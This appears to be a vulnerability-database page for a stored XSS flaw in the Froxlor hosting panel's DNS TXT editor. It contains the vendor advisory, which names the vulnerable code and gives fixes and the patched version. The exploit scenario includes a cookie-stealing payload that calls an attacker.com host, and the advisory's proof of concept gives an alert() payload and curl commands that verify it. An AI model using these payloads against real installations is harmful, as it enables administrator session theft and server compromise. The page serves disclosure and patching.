Skip to main content

Froxlor EUVDEUVD-2026-61219

| CVE-2026-54347 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-18 https://github.com/froxlor/froxlor GHSA-43gm-9rr3-cx7g
8.7
CVSS 3.1 · Vendor: https://github.com/froxlor/froxlor
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker authenticates as customer with DNS editor access
  2. Delivery
    Inject XSS payload in TXT record content field
  3. Exploit
    Administrator navigates to domain DNS editor (routine workflow)
  4. Install
    Payload executes automatically in admin browser session
  5. C2
    Exfiltrate admin session cookie or credentials
  6. Execute
    Authenticate as administrator
  7. Impact
    Create backdoor admin account or execute server commands via system configuration interface

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three concrete conditions: (1) Froxlor must be running with DNS functionality enabled via the system.dnsenabled = 1 system setting - this is a configurable feature, not the default in minimal installs; (2) at least one domain must have DNS editor access granted to a customer account (dnsenabled = 1 on that domain record); (3) the attacker must hold a valid Froxlor account (customer or admin role) with DNS editor permission on that domain. Exploitation is limited by the need for an authenticated low-privilege account - unauthenticated attackers cannot reach the DNS editor injection point. The trigger condition - an administrator navigating to the domain's DNS editor - is part of routine domain management workflow and requires no attacker-controlled social engineering beyond the domain being in the admin's portfolio. The CSP header does not limit exploitation due to the confirmed 'unsafe-inline' directive.

Impact

The CVSS 3.1 score of 8.7 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) accurately reflects the key risk dimensions: network-accessible attack surface, low complexity, a low-privilege starting position, one passive victim interaction step, and cross-scope high-impact admin takeover. The UI:R metric requires admin page visitation, but critically, the trigger URL (admin_domains.php?page=domaindnseditor) is part of normal administrative workflow - no social engineering is required beyond the admin doing their job. No EPSS data was provided in the input; no CISA KEV listing exists at time of analysis. However, a fully detailed public PoC is confirmed in the GitHub advisory, including step-by-step exploit commands and expected output, significantly elevating real-world exploitation probability above what the absence of KEV listing would suggest. The requirement for a customer account with dnsenabled = 1 is a standard hosting feature, not a niche configuration, making the attacker prerequisite realistic in most Froxlor deployments. The CSP 'unsafe-inline' inclusion, confirmed in source, means defenders cannot rely on browser-level policy as a compensating control. Overall this is a genuine high-priority finding for any internet-exposed Froxlor installation with DNS editor functionality enabled.

Exploit ScenarioDerived

A hosting customer with DNS editor access adds a TXT record to their domain with content <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> via the Froxlor web UI or API. The next time any administrator views that domain's DNS configuration through the standard admin workflow (admin_domains.php?page=domaindnseditor&domain_id=<id>), the payload fires on page load with no clicks required, silently transmitting the admin's session cookie to the attacker. A detailed public PoC, including a full curl-based verification command, is confirmed in the GitHub security advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 18, 2026

Stored XSS in Froxlor's DNS TXT record editor enables any low-privilege hosting customer with DNS editor access to inject arbitrary JavaScript that executes automatically in an administrator's browser session upon routine page load. The attack exploits a three-point failure: missing HTML sanitization at input, an unescaped wordwrap() callback that introduces raw HTML, and a Twig template using |raw that bypasses auto-escaping - compounded by a CSP header that includes 'unsafe-inline', rendering it useless. A detailed public proof-of-concept is confirmed in the vendor advisory; no CISA KEV listing at time of analysis. Successful exploitation yields complete admin account takeover and full server compromise.

RemediationAI

Upgrade to Froxlor 2.3.8 immediately; the release is available at https://github.com/froxlor/froxlor/releases/tag/2.3.8 and the specific escaping fix is in commit a1d8f425b11ef7597949018814afa056a842cba0. If immediate upgrade is not possible, the highest-impact compensating control is to disable DNS editor access for all customer accounts by setting dnsenabled = 0 per domain in the Froxlor admin panel - this removes the injection surface entirely but prevents customers from self-managing DNS records, which may disrupt service. A secondary hardening step is to remove 'unsafe-inline' and 'unsafe-eval' from the script-src directive in lib/Froxlor/UI/Panel/UI.php:140; this would block inline script execution and is good hygiene, but is not a substitute for the HTML escaping fix since the current CSP provides no XSS protection. Do not rely on WAF-based HTML filtering alone, as TXT record content has legitimate use cases with angle-bracket-adjacent characters that may trigger false positives.

Affected VersionsENISA

Froxlor < 2.3.8

Affected Packages

composer froxlor/froxlor fix: 2.3.8
euvd froxlor fix: 2.3.8

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Froxlor is a PHP-based web hosting control panel using Twig as its templating engine. The vulnerability is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) arising from a chain of three independent failures. First, DomainZones.php:158 sanitizes TXT record content with a regex that strips only non-printable characters, allowing HTML special characters like < (0x3C) and > (0x3E) to pass through unmodified. Second, Text.php:95's wordwrap() callback inserts literal <br> HTML tags without first encoding the user-supplied data with htmlspecialchars(). Third, table.html.twig:57 renders the callback's return value using {{ td.data|raw }}, which instructs Twig to bypass its built-in auto-escaping. The DNS editor table routes the content column through this callback (tablelisting.dns.php:58), creating a direct injection path from customer input to admin-rendered HTML. The effective CSP in UI.php:140 permits 'unsafe-inline' and 'unsafe-eval' under script-src, meaning browser-level CSP enforcement provides no protection against injected inline scripts. The affected composer package is froxlor/froxlor, versions up to and including 2.3.7. The fix in commit a1d8f425b11ef7597949018814afa056a842cba0 adds htmlspecialchars() in the wordwrap() callback.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/froxlor/froxlor) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

Network-delivered stored XSS requires low-privilege customer account (PR:L), passive admin page view triggers payload (UI:R), and cross-scope admin session takeover justifies S:C with C:H/I:H; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/froxlor/froxlor).

CVSS VectorVendor: https://github.com/froxlor/froxlor

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Summary

A stored Cross-Site Scripting (XSS) vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access (customer role) to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the payload executes automatically - enabling complete admin account takeover, credential theft, and full server compromise.

---

Details

Three code locations combine to create this vulnerability:

1. Input validation does not strip HTML special characters - lib/Froxlor/Api/Commands/DomainZones.php:158

php
// Only strips non-printable chars. < and > (0x3C/0x3E) pass through unmodified.
$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);
$content = Dns::encloseTXTContent($content);  // only wraps in quotes, no HTML encoding

2. Display callback returns raw HTML without escaping - lib/Froxlor/UI/Callbacks/Text.php:95

php
public static function wordwrap(array $attributes): string {
    return wordwrap($attributes['data'], 100, '<br>', true);  // no htmlspecialchars()
}

3. Twig template renders the callback output with |raw - templates/Froxlor/table/table.html.twig:57

twig
{% else %}
    {{ td.data|raw }}   {
# string from wordwrap() - rendered without escaping #}
{% endif %}

The DNS editor table assigns [Text::class, 'wordwrap'] as the callback for the content column (lib/tablelisting/tablelisting.dns.php:58). The callback returns a non-iterable string, so the template falls to the |raw branch.

Additionally, the Content Security Policy header (lib/Froxlor/UI/Panel/UI.php:140) includes 'unsafe-inline', rendering CSP completely ineffective as a mitigation:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...

---

PoC

<img width="2025" height="1144" alt="image" src="https://github.com/user-attachments/assets/f6808b24-c4b6-4bd2-9673-d7ddc4939794" />

Prerequisites: Froxlor running with DNS enabled (system.dnsenabled = 1), at least one domain with DNS editor enabled, and a user account (customer or admin) with DNS editor access.

Step 1 - Inject the payload (via web UI or API as any DNS-enabled user):

Navigate to the DNS editor for any domain, add a TXT record with:

  • Record: @
  • Type: TXT
  • Content: <img src=x onerror=alert(document.domain)>

Step 2 - Trigger:

No interaction is required beyond page navigation. The payload fires automatically on page load the moment any logged-in administrator visits:

http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=<id>

This URL is part of the normal admin workflow (domain management → DNS editor). No clicking, no form submission, no special conditions - visiting the URL is sufficient.

Verify via command line (login + fetch in one line):

bash
T=$(curl -sc /tmp/c http://TARGET/index.php | grep -oP 'csrf-token" content="\K[^"]+') && \
curl -sc /tmp/c -b /tmp/c http://TARGET/index.php \
  -d "loginname=admin&password=PASS&dologin=1&send=send&csrf_token=$T" -o /dev/null && \
curl -sb /tmp/c "http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=ID" \
  | grep -o '<img src=x[^>]*>'

Expected output confirming unescaped payload in page source:

<img src=x onerror=alert(document.domain)>

In a browser session the alert() fires immediately - no clicks required.

---

Impact

Type: Stored Cross-Site Scripting (Stored XSS)

Who is impacted: Any Froxlor installation with DNS editor functionality enabled. The attack requires a low-privilege customer account with dnsenabled = 1 - a standard feature granted to hosting customers. The victim is any administrator who views the affected domain's DNS configuration.

A real-world attacker would replace alert() with a payload that silently exfiltrates the admin session cookie, then uses it to create a backdoor admin account, read all customer credentials, or execute arbitrary commands on the underlying server through Froxlor's system configuration interface.

---

Fix

Apply one of the following:

Option A (recommended) - Remove |raw from the table template:

twig
{
# templates/Froxlor/table/table.html.twig:57 #}
{{ td.data }}   {
# Twig auto-escaping handles it #}

Callbacks that intentionally return HTML (e.g. action buttons) should return a structured array with a macro key instead of a raw string.

Option B - Escape in the callback:

php
// lib/Froxlor/UI/Callbacks/Text.php
public static function wordwrap(array $attributes): string {
    return wordwrap(htmlspecialchars($attributes['data'], ENT_QUOTES, 'UTF-8'), 100, '<br>', true);
}

Option C - Sanitize at input:

php
// lib/Froxlor/Api/Commands/DomainZones.php after line 160
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');

Also remove 'unsafe-inline' and 'unsafe-eval' from the CSP header in lib/Froxlor/UI/Panel/UI.php:140.

--- If possible, please apply for a CVE when publishing.

Executive ViewAI

Why It Matters

Froxlor hosting control panel contains a stored cross-site scripting vulnerability enabling complete administrator account compromise; publicly available exploit code exists for this issue. Low-privilege customers with DNS editor privileges can inject malicious code that automatically executes in administrator browser sessions, leading to full platform compromise and access to all hosted customer data. This is critical for hosting providers and MSPs where a single compromised customer account cascades to infrastructure-wide breach.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Prevalence
Low
niche PHP hosting control panel, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy